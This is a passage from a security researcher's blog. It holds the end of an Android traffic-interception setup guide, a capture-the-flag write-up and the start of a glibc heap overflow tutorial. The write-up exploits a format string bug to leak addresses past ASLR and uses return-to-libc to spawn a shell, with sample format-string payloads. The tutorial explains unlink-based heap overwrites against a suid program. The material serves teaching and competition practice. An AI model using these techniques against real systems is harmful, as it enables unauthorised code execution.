Unfortunately this doesn't work properly. If you visit HTTPS websites it will still complain that an invalid certificate is being used. But there's a simple fix for that :)<br />
<br />
<b><span style="font-size: large;">Certificate Problems</span></b><br />
<br />
The reason why the certificates generated by Burp aren't accepted by Android is because <i>they aren't valid yet</i> (at least according to Android). When Burp generates a certificate it marks that it's valid starting precisely <i>this second</i>. Unfortunately Android then thinks the certificate isn't valid yet. This can easily be solved by <b><span style="color: red;">setting the date of the Android emulator 1 day in the future</span></b>.<br />
<br />
<b><span style="font-size: large;">AndroidProxy: Avoiding Additional Certificate Problems</span></b><br />
<br />
There is an additional annoyance: Burp doesn't show the hostname of the requested site, it shows the IP address. This is quite annoying when viewing the history of all requests made:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht2778cE7c4QPz8KE6bZEJz2ZPxaTBj00HMNIc0jN_Xt72_K3H8wdRYG1Cihwg7nrg201ENN6WhkvlmGyOosiLEdFaW_Sgp0w2IIninonKF3qOjdXmsOELv575HgQs4CBZf_T95V8ybZ7z/s1600/burphistory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht2778cE7c4QPz8KE6bZEJz2ZPxaTBj00HMNIc0jN_Xt72_K3H8wdRYG1Cihwg7nrg201ENN6WhkvlmGyOosiLEdFaW_Sgp0w2IIninonKF3qOjdXmsOELv575HgQs4CBZf_T95V8ybZ7z/s1600/burphistory.png" /></a></div>
<br />
When using Burp this is merely an annoyance. But when using a less powerfull proxy <b>this can be a real problem</b>! Behind the scenes the emulator acts as an invisible proxy for all HTTP(S) traffic, forwarding all request to your proxy. The problem is that these requests are of the form "<span style="font-family: Courier New, Courier, monospace;">CONNECT <IP>:443</span>". As a result your proxy doesn't know the domain you are requesting. In turn your proxy potentially generates a certificate with as common name the IP address of the server. Unfortunately this will cause an error:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/cRana.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/cRana.png" /></a></div>
<br />
The latest version of Burp solves this by first <a href="http://releases.portswigger.net/2012/08/v1412.html">looking up the hostname</a> corresponding to that IP. But if your proxy doesn't have that capability you have a problem. And we still want a clean history screen in Burp, with the domain names being shown properly. So what we need is something that sits between Android and your actual proxy which rewrites the "<span style="font-family: Courier New, Courier, monospace;">CONNECT <ip></span>" request to "<span style="font-family: Courier New, Courier, monospace;">CONNECT <doman></span>".<br />
<br />
<b>To solve this problem I created <a href="https://code.google.com/p/androidproxy/">AndroidProxy</a></b>. It intercepting all DNS requests and rewrites the "<span style="font-family: Courier New, Courier, monospace;">CONNECT <ip></span>" command to "<span style="font-family: Courier New, Courier, monospace;">CONNECT <domain></span>" before it reaches your proxy. Normal HTTP traffic is left untouched. By intercepting all DNS request a unique IP address can be associated with each domain (even if in reality the domains have the same IP). When an IP address is encountered in a CONNECT method we can lookup the unique IP address and find the corresponding domain name. This process is illustrated below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/pLX2V.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="418" src="http://i.imgur.com/pLX2V.png" width="640" /></a></div>
<br />
Another essential advantage is that AndroidProxy prints all the connection that the device is trying to make. This is important, because some proxy's (such as Burp) don't warn you about HTTPS connections that fail. They silently drop them, and you'll never know a connection was attempted.<br />
<br />
You can start AndroidProxy using the following steps:<br />
<ol>
<li>Start your <b>normal proxy</b> (eg. Burp) listening on <b>port 8080</b>.</li>
<li>Start AndroidProxy: <b>python main.py</b></li>
<li>Run the emulator: <b>emulator @Avd -http-proxy http://localhost:8007 -dns-server localhost</b></li>
<li>Remember to change the date of the Android emulator to 1 day in the future!</li>
</ol>
<b><span style="font-size: large;">Future Work</span></b><br />
<br />
The current setup is not perfect. There are several elements which could be improved:<br />
<ol>
<li>Find a (cross platform) GUI tool to intercept arbitrary SSL connections (not just HTTPS). <a href="http://www.tcpcatcher.org/">TcpCatcher</a> could be a candidiate, unfortunately I was unable to install the CA of TcpCatcher on Android (because the CA certificate was an old version?).</li>
<li>Preferably your normal proxy just does a raw dump of the intercepted SSL connections, even though it's not HTTP. One would need to update Burp to accomplish this.</li>
<li>Or we can extend the AndroidProxy itself to intercept SSL, and write a cross platform GUI on top to easily display individual connections.</li>
</ol>
<div>
I only plan to maintain AndroidProxy, and likely won't be adding new features. Feel free to fork it.</div>
<div>
<br /></div>
<b><span style="font-size: large;">Footnotes</span></b><br />
<ol>
<li>Remember to install Intel HAXM when using the x86 emulator image [<a href="http://stackoverflow.com/questions/10761696/android-running-the-new-intel-emulator">More Info</a>]. If not present you get the error "emulator: Open HAX device failed". Download it from the SDK Manager, then go to android-sdk\extras\intel\Hardware_Accelerated_Execution_Manager and launch the installer.</li>
<li>If you get the error "Failed to allocate memory: 8" make sure the emulator gets at most 512MB of memory. For some reason it doesn't start properly when using more memory [<a href="http://stackoverflow.com/questions/5969067/android-failed-to-allocate-memory">More Info</a>].</li>
</ol>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com4tag:blogger.com,1999:blog-3500917063499850097.post-56328562406376059372013-04-06T22:09:00.003+02:002015-04-11T03:33:23.515+02:00UCSB iCTF: Hacking Nuclear Plants and Pwning ASLR/NX<div style="text-align: justify;">
<i>The following story took place on a Friday evening, with the sun long gone from the horizon, in a dimly lit room where a few hackers teamed up to do what they do best: fuck shit up.</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A former security researcher at KU Leuven took his fifth coffee this hour. Or was it the sixth? He didn't care. Today there was only one thing on his mind: breaking into the nuclear power plants of those Cyberdyne sons o' bitches. It seemed easy enough at first sight. Even his ex-colleague, whom not always had the brightest moments, was able to connect to the power plants using netcat. A nice little menu greeted us:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtIv5tXgj9YisOzdob65_ttb6UQDcRxPHsGdg-IyZGQ8kYWWxAmu3BBbRrSyYEfGAk5nIwwiWK0wKiosIANbHxzZCK1PdLQ5ssaCygVx-PtfANP8wbNXDCvaMZfgew3IFL_yZ1ALXhyphenhyphen5sI/s1600/menu2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtIv5tXgj9YisOzdob65_ttb6UQDcRxPHsGdg-IyZGQ8kYWWxAmu3BBbRrSyYEfGAk5nIwwiWK0wKiosIANbHxzZCK1PdLQ5ssaCygVx-PtfANP8wbNXDCvaMZfgew3IFL_yZ1ALXhyphenhyphen5sI/s1600/menu2.png" /></a></div>
<br />
<div style="text-align: justify;">
Our hackers were already familiar with the menu. New nuclear plants could be added and existing ones could be listed. Even the configuration of each power plant, which consists of the number of elements present in the power plant, could easily be updated. And last but not least there were the options to get and set a self-destruct code. This self-destruct code was of course the <i>flag</i> they were after - the reason they were already awake for 16 hours. Unfortunately the self-destruction code can only be accessed if you know a rather lengthy password. But rest assured that such pity defences don't stop true hackers.</div>
<br />
<div style="text-align: justify;">
By bribing the right people they managed to obtain the <a href="http://www.mediafire.com/?3v9zs2s47jd5sai">binary code</a> responsible for displaying the menu. With this information in hands, it didn't take them long to find the first weak spot in the Cyberdyne system: a <b><a href="https://www.owasp.org/index.php/Format_string_attack">format string vulnerability</a></b> [1]. After a plant is created, or after editing an existing nuclear plant, the amount of uranium was checked by the following function:</div>
<br />
<script src="https://gist.github.com/anonymous/5281062.js"></script><br />
<div style="text-align: justify;">
The code above was generated by <a href="https://www.hex-rays.com/products/ida/index.shtml">IDA Pro</a> and the Hex-Rays Decompiler, both state of the art tools used by the bad and the good guys. For our hackers it was clear: if the level of uranium is equal or lower to zero, a format string vulnerability is triggered (line 10), potentially enabling them to take over the system. Using the control panel it wasn't possible to edit the plant such that it had a non-positive uranium level, so it wasn't clear how they could force the system to execute this code. But a quick look at the code responsible for adding a new power plant changed the situation:</div>
<br />
<script src="https://gist.github.com/vanhoefm/5281095.js"></script><br />
<div style="text-align: justify;">
After staring at this code and getting another coffee, it all became clear. At least for now. <i>Our hackers eagerly discussed it with each other in precise detail:</i> The code first calls get_random_num a few times to initialize the levels of all elements present in the power plant (oxygen, carbon, boron, zirconium and uranium). Uranium is one of those elements. Then the name that has been given to the new power plant (line 6) is copied to the memory region containing all information about the power plant (line 13). This memory region begins with the name of the plant, and ends with the levels of each element. However the string copy function <b>possibly overwrites the levels of each element!</b> This is because all information about a plant is saved in only 112 bytes (see line 4), and the string copy function copies at most 0x70 bytes (line 6). Recall that 0x70 is the <a href="https://en.wikipedia.org/wiki/Hexadecimal">hexadecimal</a> representation of 112, meaning the name of the plant potentially overwrites all the other information in the memory region.<br />
<br />
After the plant name is copied, the function check_secondary_elems_level checks that the levels of the secondary elements (oxygen, carbon, boron and zirconium) are between, and including, 1 and 999. Our hackers concluded that entering a long name will overwrite the levels of each elements, and if done properly will assure that the vulnerable printf statement gets executed. <i>In other words the vulnerability has been confirmed, and it's time to use it to destroy those Cyberdyne scums.</i></div>
<br />
<span style="font-size: x-large;"><b>A Second Entry Point</b></span><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div style="text-align: justify;">
Amazingly the not-so-bright ex-colleague found another vulnerability in the code. Looking again at the code to add a power plant, and this time focussing on where the data is saved, we get the following:</div>
<br />
<script src="https://gist.github.com/vanhoefm/5281979.js"></script><br />
<div style="text-align: justify;">
He saw that there are <b>no checks whether there still is enough memory left</b> when adding a new power plant! The <i>plantid</i> variable, which is used to determine where in memory to save the next plan, is always increased by one without checking whether there's actually space left. Argument <i>a1</i> is pointing to the memory where the information will be stored and is allocated on the stack by the calling function. Essentially all nuclear plants are stored in one big "<a href="https://en.wikipedia.org/wiki/Array_data_structure">list</a>" on the stack, and eventually there won't be enough space to save them all, making the stack go BOOM. And when the stack goes boom, the hackers gain control. Unfortunately it took our colleague a while to find this, and in the end this vulnerability wasn't used. We all smiled though: <i>typical Cyberdyne, they always make more than one mistake</i>.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrve8RU8u24cUeTg3FvBMO5LBYPEiguGdF9hyjzQFDdI3WKLndxF6Kgr_pWjZ2WzoME6PffMhsiL0VdkP0w8JRC07K1C83WInsoh2qVFyeTGjgUuYJvYSfydWF4-vro1_xb3r2saGjoikL/s1600/dark_room.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrve8RU8u24cUeTg3FvBMO5LBYPEiguGdF9hyjzQFDdI3WKLndxF6Kgr_pWjZ2WzoME6PffMhsiL0VdkP0w8JRC07K1C83WInsoh2qVFyeTGjgUuYJvYSfydWF4-vro1_xb3r2saGjoikL/s1600/dark_room.jpg" /></a></div>
<div style="text-align: center;">
<i>For hackers the backdoor is always open.</i></div>
<div style="text-align: center;">
<i>"....that's what she said!</i>"</div>
<br />
<span style="font-size: x-large;"><b>Bypassing ASLR and NX </b></span><br />
<br />
<div style="text-align: justify;">
Cyberdyne knew the power plant software was not to be trusted. To remedy this they hired some of the best security researchers around the world to <a href="https://services.libis.be/query?query=countermeasure%2520&view=Lirias&host=limo.libis.be&origin=widget">create some defences</a>. Unfortunately Cyberdyne was too incompetent to actually implement them, making them ditch all the excellent research. Instead they settled for two other (already well known) protection mechanisms: <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> and <a href="https://en.wikipedia.org/wiki/NX_bit">NX</a>. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
One of the older hackers of the group was reminiscing about exploits and vulnerabilities <i>back in the good old days</i>. The days where all programs, even the operating system, lived in the same memory region. Ah, it was just too easy to exploit programs then. He also recalled how <a href="https://www.owasp.org/index.php/Information_Leakage">information leakage vulnerabilities</a> were considered useless. These are vulnerabilities that don't let you take over a system, but only make the system reveal some information, like where certain data is stored. The problem is that even though you know where certain data was stored, you can't necessarily read it, making people ignore these attacks. But it was clear to him that such information leakage attacks would be essential to bypass ASLR and eventually attack Cyberdyne.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<i>The older hacker begins his explanation to the youngers ones:</i> The format string exploit can be used as an information leakage attack to defeat ASLR. When using <b>%10$p%11$p as a plant name</b> it will display the saved frame pointer (ebp) followed by the return address (eip). Remark that the plant name must be followed by data so the appropriate number of elements will be overwritten in order to reach the vulnerable printf call. Though the
binary isn't position independent, and hence can't fully benefit from
ASLR, this information leakage defeats ASLR. The absolute position of
libraries can be derived from the pointers in the .GOT section,
defeating ASLR for loaded libraries as well. More precisely, the first 4 bytes of the plant name will contain a pointer to the .GOT entry of <i>fork()</i> followed by the string <b>%22$s</b>. This will print out the string located at the .GOT entry of fork() and hence prints out the address of fork (assuming there are no zeros in the address)! Finally, the address of execve() can be found by adding a predictable offset to that of fork(). This teaches us all the addresses we will need when constructing an exploit. <i>The eyes of the other hackers opened wide open - he's right! Even with ASLR we can take this fucker down!</i></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguy_YbsVubghfbuLwVgTbetAPAI5k84EQBl9xMf9Yq-0y0UBAqg2fP8hCioAuO2YiHlOsglsjA5ri9txZPpVfqsak7X7nCwMKcNT_nNnEVZG2rYbfQZAV5umZtMHEIik5GrDT2ZHcYsxHx/s1600/1305563248_cats-gravity-defying-jump.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguy_YbsVubghfbuLwVgTbetAPAI5k84EQBl9xMf9Yq-0y0UBAqg2fP8hCioAuO2YiHlOsglsjA5ri9txZPpVfqsak7X7nCwMKcNT_nNnEVZG2rYbfQZAV5umZtMHEIik5GrDT2ZHcYsxHx/s1600/1305563248_cats-gravity-defying-jump.gif" /></a></div>
<div style="text-align: center;">
<i>Bypassing protections like a boss.</i></div>
<br />
<div style="text-align: justify;">
The second protection mechanism to defat is NX: the stack and heap of the binary are not executable, meaning we can't copy over shellcode and execute it. One of the hackers suggested using a <a href="http://www.cse.psu.edu/~tjaeger/cse598-f11/docs/shacham_tissec_rop.pdf">return-oriented programming</a> approach. Quickly they all agreed on this, but simplified the idea to an easier to execute return-to-libc attack. To accomplish this feat they have to control the value of the stack pointer (esp) before executing a return instruction. This can be done by overwriting the saved frame pointer used in the <a href="https://en.wikipedia.org/wiki/Function_prologue">prologue and epilogue of a function</a>. Let's look at the disassembled code of printf to better understand what our hackers are going to do:</div>
<br />
<script src="https://gist.github.com/vanhoefm/5326382.js"></script><br />
<div style="text-align: justify;">
Here the register ebp is used to contain the <i>frame pointer</i>, and its value is saved on the stack at the start of the function and restored at the end of the function. Using the format string exploit we can overwrite the saved ebp value, and hence we can control the value of ebp at the end of the printf function. This is done using traditional format string exploits and the <b>%hn format specifier</b>. However, we need to control esp and not ebp! Patience. Let's look at the disassembled code of check_uranium_level:</div>
<br />
<br />
<div style="text-align: justify;">
<script src="https://gist.github.com/vanhoefm/5326418.js"></script>
The next to last instruction is <i>leave</i>, which is equivalent with <i>mov %ebp, %esp</i> followed by <i>pop %ebp</i>. Aha! Here the register esp is set to ebp, and we control ebp since we overwrote it in the call the printf! With control over esp we can do a traditional return-to-libc attack, and in our case we will construct a fake stack frame so the program will execute execve("/bin/sh", NULL, NULL).</div>
<br />
<i>The hackers are ready to attack Cyberdyne.</i><br />
<br />
<span style="font-size: x-large;"><b>Writing the Exploit</b></span><br />
<br />
Time to get to business. First the <a href="https://gist.github.com/vanhoefm/5305853">location of the stack and the code (link to code)</a> is extracted using <br />
<blockquote class="tr_bq">
<b>%10$p:ENDEBP:%11$p:ENDRET:</b> </blockquote>
Then we <a href="https://gist.github.com/vanhoefm/5305882">extract the location of execve() (link to code)</a>. This is done by reading the .GOT entry of fork() and adding the appropriate offset so we end up with the address of execve(). The given input is of the form:<br />
<blockquote class="tr_bq">
<b><addr .GOT entry fork>%22$s:ENFORK:</b></blockquote>
We continue by storing the stack frame for the return-to-libc attack. To construct it we use the addresses extracted in the previous two steps. The code to construct the stack frame and store it is:<br />
<br />
<script src="https://gist.github.com/vanhoefm/5305902.js"></script><br />
Important to note is that the memory region where the power plant info is saved is first initialized to zero. Hence the first few bytes <i>after </i>the plant name also contains zeros, and thus the argv and envp arguments are pointers to NULL.<br />
<br />
Finally we trigger the return-to-libc exploit by overwriting the saved frame pointer (ebp) in the print function:<br />
<br />
<script src="https://gist.github.com/vanhoefm/5305924.js"></script><br />
When combining all the parts we get <a href="https://gist.github.com/vanhoefm/5326833">the following beautiful result (link to code)</a>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcxftVZNHxefAjuDql4V2jTJfGQG6bR1RN4lPq-JA6sJbhiC73rMGf9bK9HyGHqecx0d8jpOmNKRQvynleAP_gS_ONSPAPDVKOrXYAiKkOqXT-kzJXxGSRp6e2syPSdNBlF4FcF9ePqYf7/s1600/exploit2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcxftVZNHxefAjuDql4V2jTJfGQG6bR1RN4lPq-JA6sJbhiC73rMGf9bK9HyGHqecx0d8jpOmNKRQvynleAP_gS_ONSPAPDVKOrXYAiKkOqXT-kzJXxGSRp6e2syPSdNBlF4FcF9ePqYf7/s1600/exploit2.png" /></a></div>
<div style="text-align: center;">
<i>There is no right and wrong. There's only fun and boring.</i></div>
<br />
<br />
<b><span style="font-size: x-large;">Exploit Reliability</span></b> <br />
<br />
A final note is due about the reliability of the current exploit. It assumes there are no <i>whitespace characters</i>
(space, tab, newline, vertical-tab, form-feed characters, or
terminating zero) within any of the (extracted) addresses. If there are
the exploit will fail as not all data of the payload and/or exploit will
be read during the <a href="http://pubs.opengroup.org/onlinepubs/7908799/xsh/fscanf.html">scanf call</a>.
However this is only a limitation of the current exploit: we can write any byte using the format specifier %hn and read any byte using %s. This allows us to create an exploit which will work under any environment.<br />
<br />
<span style="font-size: x-large;"><b>Background</b></span><br />
<br />
<div style="text-align: justify;">
The UCSB International Capture The Flag (iCTF) is a <a href="https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security">computer security challenge</a> where participants have to <b>attack</b> other systems <b>and defend</b> their own. This year we participated with our KU Leuven <a href="http://ctftime.org/team/4057/"><i>hacknamstyle</i></a> research team.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
To get a feel of the atmosphere of a security CTF, the video below shows the <a href="http://ctf.itsec.rwth-aachen.de/">rwthCTF</a> from the perspective of the organizers (and of course we also participated in that CTF). </div>
<br />
<center>
<iframe allowfullscreen="" frameborder="0" height="281" mozallowfullscreen="" src="http://player.vimeo.com/video/55796352" webkitallowfullscreen="" width="500"></iframe></center>
<br />
<div style="text-align: justify;">
For the iCTF our team <b>successfully <a href="https://en.wikipedia.org/wiki/Exploit_%28computer_security%29">exploited</a> 4 challenges</b>:
nuclearboom, water, pesticides and traintrain. This got us quite some
attack points, though we didn't focus on defence, making us end on a
respectable 37 place out of 98 participating teams.</div>
<br />
<div style="text-align: justify;">
In this post I focused on one challenge: nuclearboom. I've already encountered a few write-ups on nuclearboom [<a href="http://codezen.fr/2013/03/24/ictf-2013-ctf-nuclearboom-writeup/">codezen</a>, <a href="http://lifayk.blogspot.be/2013/03/ictf-2013-nuclearboom-write-up.html">lifayk</a>], but those only explain how to steal the <i>flag</i>, whereas my exploit actually make it <b>spawn a (remote) shell</b>. To do this we have <b>bypassed both <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> and <a href="https://en.wikipedia.org/wiki/NX_bit">NX</a>, </b>both widely used protection mechanisms in modern operating systems and programs. It turned out that this challenge was perfect to show how information leakage defeats ASLR, and how a return-oriented-programming techniques can defeat NX.</div>
<br />
<span style="font-size: x-large;"><b>Footnotes </b></span><br />
<br />
<div style="text-align: justify;">
[1] After accepting an incoming connection stdout, stdin and stderr are replaced with the socket file descriptor using <a href="http://man7.org/linux/man-pages/man2/dup.2.html">dup2</a>. This way the program can simply use sscanf and printf, knowing that everything actually happens over the TCP connection. So in this case the output of the printf call will be redirected over the TCP connection.</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com1tag:blogger.com,1999:blog-3500917063499850097.post-17099710161425275072013-02-08T01:50:00.000+01:002014-03-09T14:52:08.045+01:00Understanding the Heap & Exploiting Heap OverflowsThis post will begin with a high level description of the heap and slowly builds up untill you able to write your own heap-based exploits. We assume we have non-root access to a computer but are able to run the following program as root (meaning it's a <a href="https://en.wikipedia.org/wiki/Setuid">suid binary</a>):<br />
<br />
<script src="https://gist.github.com/4514830.js"></script><br />
There's a blatant buffer overflow in line 10 which we will be exploiting. First we need to know how the heap is managed (we focus on Linux).<br />
<br />
<span style="font-size: large;"><b>Basic Heap and Chunk Layout</b></span><br />
<br />
Every memory allocation a program makes (say by calling malloc) is internally represented by a so called "chunk". A chunk consists of metadata and the memory returned to the program (i.e., the memory actually returned by malloc). All these chunks are saved on the heap, which is a memory region capable of expanding when new memory is requested. Similarly, the heap can shrink once a certain amount of memory has been freed. A chunk is defined in the glibc source as follows:<br />
<br />
<script src="https://gist.github.com/4486489.js"></script><br />
Assuming no memory chunks have been freed yet, new memory allocations are always stored right after the last allocated chunk. So if a program were to call malloc(256), malloc(512), and finally malloc(1024), the memory layout of the heap is as follows:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">Meta-data of chunk created by malloc(256)</span><br />
<span style="font-family: Courier New, Courier, monospace;">The 256 bytes of memory return by malloc</span><br />
<span style="font-family: Courier New, Courier, monospace;">-----------------------------------------</span><br />
<span style="font-family: Courier New, Courier, monospace;">Meta-data of chunk created by malloc(512)</span><br />
<span style="font-family: Courier New, Courier, monospace;">The 512 bytes of memory return by malloc</span><br />
<span style="font-family: Courier New, Courier, monospace;">-----------------------------------------</span><br />
<span style="font-family: Courier New, Courier, monospace;">Meta-data of chunk created by malloc(1024)</span><br />
<span style="font-family: Courier New, Courier, monospace;">The 1024 bytes of memory return by malloc</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">-----------------------------------------</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Meta-data of the top chunk</span></blockquote>
The dash line "---" is an imaginary boundary between the chunks, in reality they are placed right next to each other (<a href="https://gist.github.com/4575760">example program illustrating the layout</a>). Anyway, you're probably wondering why I included the meta data of the "top chunk" in the layout. Well, the top chunk represents the remaining available memory on the heap, and it is the only chunk that can grow in size. When a new memory request is made, the top chunk is split into two: the first part becomes the requested chunk, and the second part is the new the top chunk (so the "top chunk" shrunk in size). If the top chunk is not large enough to fulfill the memory allocation, the program <a href="https://www.kernel.org/doc/man-pages/online/pages/man2/brk.2.html">asks the operating system</a> to expand the top chunk (making the heap grow in size).<br />
<br />
<span style="font-size: large;"><b>Interpretation of the Chunk Structure</b></span><br />
<br />
The interpretation of the chunk structure depends on the current state of the chunk. For example, the only metadata present in an <b>allocated chunk</b> are the <i>prev_size</i> and <i>size</i> fields. The buffer returned to the program starts at the <i>fd</i> field. This means an allocated chunk always has 8 bytes of metadata, after which the actual buffer starts. Also surprising is that the <i>prev_size</i> field isn't used by allocated chunks! In a minute we will see that an <b>unallocated (free) chunk</b> does use the additional fields.<br />
<br />
Another important observation is that in glibc chunks are always 8-bytes aligned. And to simplify memory management the size of chunks is always a multiple of 8 bytes. This means that the last 3 bits of the <i>size</i> field can be used for other purposes (these 3 bits would always be zero otherwise). Only the first (<a href="https://en.wikipedia.org/wiki/Least_significant_bit">least significant</a>) bit is important for us. If it's set it means that the <b>previous</b> chunk is in use. If it's not set the <b>previous</b> chunk is not in use. A chunk is not in used if the corresponding memory has been freed (by a call to free).<br />
<br />
So how can we check whether the <b>current</b> chunk is in use? Simple really: we navigate to the next chunk by adding <i>size</i> to the pointer of the current chunk, resulting in the location of the next chunk. In this next chunk we read the least significant bit of the <i>size</i> field to see if the chunk is in use.<br />
<br />
<span style="font-size: large;"><b>Managing Free Chunks</b></span><br />
<br />
We know that when a chunk is freed, the least significant bit of the <i>size</i> field in the meta data of the next chunk must be <b>cleared</b>. Additionally, the <i>prev_size</i> field of this next chunk will be set to the size of the chunk we are freeing.<br />
<br />
A freed chunk also uses the <i>fd</i> and <i>bk</i> fields. <b>These are the fields we can abuse in our exploit.</b> The <i>fd</i> field points to the previous free chunk, and the <i>bk</i> field to the next free chunk. This means free chunks are saved in a <a href="https://en.wikipedia.org/wiki/Doubly_linked_list">doubly linked list</a>. However there isn't just one list containing all free chunks. There are actually multiple lists of free chunks. Each list contains free chunks of a specific size. This makes searching for a free chunk of a certain size a lot faster, since it only has to search in the list supporting the particular size. We now need to correct an earlier statement: When a memory allocation request is made, it first searches for a free chunk that has the same size (or a bit larger), and will reuse that memory. Only if no appropriate free chunk was found will the top chunk be used.<br />
<br />
Finally we get to the functionality we will exploit: freeing a chunk. When a chunk is freed (e.g. by a call to <a href="http://linux.die.net/man/3/free">free</a>) it checks whether the chunk before it has already been freed. In case the previous chunk is not in use, it's coalesced with the chunk being freed. However this increases the size of the chunk. As a result the chunk has to be placed in a different list of free chunks. To do this the already freed chunk is first removed from the linked list, and then the coalesced chunk is added to the appropriate list. The code of removing a chunk from a linked list is:<br />
<br />
<script src="https://gist.github.com/4576191.js"></script><br />
Here argument P represents the chunk being removed from the list. Arguments BK and FD are output arguments representing the previous and next chunk, respectively. This is very typical code to remove an element from a linked list, and its operation is illustrated below [<a href="http://www.math.ucla.edu/~wittman/10a.1.10w/ccc/ch16/ch16.html">Source</a>]:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPZx0rUZNJywvUZNManhyAvsbdEkDM2eFh4fuQInQe1T6QdHg76NlGCVdAmsyj5xUWBmx8TaVrb1Srhr_oah9OO1FnjCUv0pAYkxHbV5wmQ_acLQaL_EJ0czBioS2zvlj4jaResZsYW-Sx/s1600/linkedlist_small.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPZx0rUZNJywvUZNManhyAvsbdEkDM2eFh4fuQInQe1T6QdHg76NlGCVdAmsyj5xUWBmx8TaVrb1Srhr_oah9OO1FnjCUv0pAYkxHbV5wmQ_acLQaL_EJ0czBioS2zvlj4jaResZsYW-Sx/s1600/linkedlist_small.png" /></a></div>
<br />
Here the element containing "Lam Larry" is being removed from the list. As you can see, to remove an element from a linked list two operators must be performed:<br />
<ol>
<li>The backward (bk) pointer of the next element (FD->bk) is set to the pointer of the previous element (BK). This corresponds to line 6 of the unlink function.</li>
<li>The forward (fd) pointer of the previous element (BK->fd) is set to the pointer of the next element (FD). This corresponds to line 7 of the unlink function.</li>
</ol>
From an attacker perspective, the important thing is that <b>two write operations to the memory are performed</b>. The goal is now to manipulate the metadata so that we can <i>control the value being written</i>, and <i>control where it's written</i>. This allows us to <b>write an arbitrary value to an arbitrary location</b>. With this we can overwrite the function pointer of a destructor, and make it point to our own code.<br />
<br />
Note: The article <a href="http://www.phrack.org/issues.html?issue=57&id=8&mode=txt">Vudo malloc tricks</a> [7] also contains a more detailed discussion about how malloc works internally. <br />
<br />
<span style="font-size: large;"><b>More Recent Techniques</b></span><br />
<br />
Unfortunately the technique explained above is no longer possible against newer versions of glibc. The unlink function has been hardened and includes the following runtime check: the forward pointer <i>of the previous chunk</i> must point toward the current chunk. Similarly the previous pointer <i>of the next chunk</i> must also point toward the current chunk:<br />
<br />
<script src="https://gist.github.com/4703872.js"></script><br />
For the more advanced techniques we will base ourselves on the techniques outlined in the <a href="http://packetstormsecurity.com/files/view/40638/MallocMaleficarum.txt">Malloc Maleficarum</a> [5] and the<a href="http://www.phrack.org/issues.html?issue=66&id=10&mode=txt"> Malloc Des-Maleficarum</a> [6]. The author introduced several techniques and gave them rather special names. The requirements of these techniques are:<br />
<ul>
<li><b>The House of Prime</b>: Requires two free's of chunks containing attacker controlled size fields, followed by a call to malloc.</li>
<li><b>The House of Mind</b>: Requires the manipulation of the program into repeatedly allocating new memory.</li>
<li><b>The House of Force</b>: Requires that we can overwrite the top chunk, that there is one malloc call with a user controllable size, and finally requires another call to malloc.</li>
<li><b>The House of Lore</b>: Again not applicable to our example program.</li>
<li><b>The House of Spirit</b>: One assumption is that the attacker controls a pointer given to free, so again this technique cannot be used.</li>
<li><b>The House of Chaos</b>: This isn't actually a technique, just a section in the article :)</li>
</ul>
To conclude: the techniques in the Malloc Maleficarum are not applicable to our very simple example. All techniques require a sufficient (and controllable) amount of calls to free and/or malloc. Now, in sufficiently large programs there should be enough methods to trigger calls to free/malloc, possible making them exploitable. So the real problem is that <b>our example is not realistic: </b>it's just too simple! Therefore we will update the example so it matches a possible scenario we can actually exploit. The updated example is:<br />
<br />
<script src="https://gist.github.com/4704510.js"></script><br />
